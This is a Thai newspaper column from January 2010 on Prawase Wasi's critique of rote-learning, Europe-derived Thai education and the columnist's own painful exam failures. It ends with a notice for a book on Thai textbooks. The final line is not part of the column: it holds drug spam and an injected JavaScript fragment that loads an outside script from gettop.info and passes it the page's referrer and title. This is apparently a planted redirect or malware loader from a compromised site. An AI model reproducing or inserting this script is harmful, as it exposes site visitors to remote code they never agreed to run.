ฉบับประจำวันศุกร์ที่ 29 มกราคม 2553

อาจารย์หมอประเวศ วะสี บอกว่าการศึกษาสมัยใหม่ของไทยได้แบบจากยุโรป เริ่มสมัยรัชกาลที่ 5 เปรียบเสมือน“ต่อท่อความรู้จากยุโรปมาไทย” เลยเป็นพวกตัดขาดจากรากเหง้าทางสังคมวัฒนธรรมที่เคยมีมาก่อน

แนวคิดต่อท่อความรู้(จากยุโรป)สร้างความเสียหายให้สังคมไทยหลายอย่าง (มีสรุปอยู่ในบทความเรื่อง ระบบการศึกษาที่แก้ความทุกข์ยากของคนทั้งแผ่นดิน โดย นายแพทย์ประเสริฐ ผลิตผลการพิมพ์ ในมติชน ฉบับประจำวันจันทร์ที่ 25 มกราคม 2553 หน้า 7) จะคัดมาอธิบายเพิ่มเติมเฉพาะที่สำคัญๆ เช่น

  1. ตัดปะความรู้“ตำรา”ของคนอื่นจากภายนอก ไม่ใช่พลังเรียนรู้“แหล่งเรียนรู้”จากภายในด้วยตนเอง
  2. ยกย่องท่องจำ“ตำรา”เป็นสรณะ(เพราะได้ตำราของคนอื่นจากภายนอก) เลยคิดเองไม่ได้ ทำให้แนวคิดเชิงสร้างสรรค์“ก้าวหน้า”ไม่เป็น เพราะเน้นเอาชนะคะคานด้วย“ก้าวหลัง” เช่น นาฏศิลป์และดนตรีไทย, ภาษาและวรรณคดีไทย, ประวัติศาสตร์และโบราณคดีไทย, รวมถึงอะไรๆที่ลงท้ายด้วยคำว่า“ไทย” ฯลฯ ใครท่องจำได้มากคือผู้ชนะ
  3. ดูถูกคนทำงานหนักด้วยลำแข้งตนเอง เพราะไม่เคยทำงานเอง ความรู้ล้วนท่องจำจากตำราแล้วได้ดี เป็นหัวหน้า มีปริญญา ได้ทำงานเบา ยกตนข่มท่าน เข้ากับสุภาษิต “รักดีหามจั่ว รักชั่วหามเสา”, “สิบพ่อค้าไม่เท่าหนึ่งพระยาเลี้ยง”, “ขอให้ได้เป็นเจ้าคนนายคน”, “ทำงานทั้งวันได้พันห้า เดินไปเดินมาได้ห้าพัน”, ฯลฯ
  4. วัฒนธรรมอำนาจสร้างอาณานิคมภายใน เน้นสั่งการหรือบังคับบัญชาจากบนลงล่าง แล้วอ้างระบบอาวุโส“แบบไทยๆ” เท่ากับบอนไซความรู้ บอนไซประเทศไทย ขาด Creative Economy, ไม่มี Creative Thailand

มีอยู่ข้อหนึ่ง หมอประเสริฐ(สรุปความคิดหมอประเวศ)เขียนไว้ว่า “การเรียนที่เน้นการท่องจำเป็นทุกข์มาก เพราะจำแล้วลืมง่าย ทำให้สอบได้คะแนนไม่ดี”

ขอยืนยันว่า“โคตรทุกข์” เพราะผมทั้งสอบได้คะแนนไม่ดี แล้วยังสอบตกซ้ำแล้วซ้ำอีก แถมต้องรีไทร์ตัวเองไป 1 ปีเต็มจนหลักสูตร 4 ปี ผมเรียนทนทานและนานถึง 7 ปี ต้องมีชีวิตฝันร้ายตลอดมา คือฝันว่าสอบตกเกือบทุกคืนมาหลายสิบปี ครูบาอาจารย์ญาติมิตรรุ่นพี่รุ่นน้องลบหลู่ดูแคลนแสนลำบากยากจนข้นแค้น

ทุกวันนี้นานๆทียังฝันอย่างนั้นอีก เมื่อรู้สึกตัวตื่นขึ้นก็ใจสั่นหวั่นไหว เหงื่อกาฬไหลชุ่ม กลัวจะสอบตกซ้ำชั้นเหมือนก่อน เห็นไหมว่า“โคตรทุกข์”

วิวัฒนาการของแบบเรียนภาษาไทย ของ ศ.ดร. นิยะดา เหล่าสุนทร สำนักพิมพ์ลายคำ พิมพ์ครั้งแรก พ.ศ. 2552 ราคา 450 บาท
เนื้อหาสำคัญเกี่ยวกับแบบเรียนภาษาไทยตั้งแต่แรกเริ่มจนถึงแบบเรียนในสมัยที่มีการรับอิทธิพลจากไวยากรณ์ในภาษาอังกฤษ
สรุปได้ว่า แบบเรียนภาษาไทยก่อนที่จะได้รับอิทธิพลจากภาษาอังกฤษจะให้ความสำคัญในเรื่องต่างๆ คือ เรื่องของพยัญชนะ สระ วรรณยุกต์ เรื่องมาตรตัวสะกด, เรื่องอักษรควบ อักษรนำ, เรื่องเครื่องหมายที่ใช้กำกับการเขียนและเรื่องคำประพันธ์ ประเด็นหลักดังกล่าวนี้ปรากฏในแบบเรียนภาษาไทยทุกเล่ม และมีวิธีนำเสนอเป็นร้อยกรอง
ส่วนแบบเรียนในสมัยที่มีการพัฒนาคือรับอิทธิพลจากไวยากรณ์ภาษาอังกฤษ มีวิธีสอนที่เปลี่ยนไป และมีจุดมุ่งหมายที่ทำให้การเรียนการสอนไม่สลับซับซ้อน ง่ายขึ้น มีการสอนเป็นคำๆ และมีการจำแนกคำตามหน้าที่การจำแนกประโยค
แบบเรียนที่ดีที่สุดคือ มูลบทบรรพกิจ ของพระยาศรีสุนทรโวหาร(น้อย อาจารยางกูร) และการนำแบบเรียนเล่มนี้กลับมาใช้น่าจะช่วยแก้ปัญหาของการเรียนการสอนภาษาไทยได้
สั่งซื้อที่ สำนักพิมพ์ลายคำ 139/120 หมู่ 4 แขวงคลองถนน เขตสายไหม กรุงเทพฯ 10200 โทรศัพท์-โทรสาร 0 2973 8917 E-mail : nong1117@yahoo.com

fluoxetine online brand viagra buy onlined.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;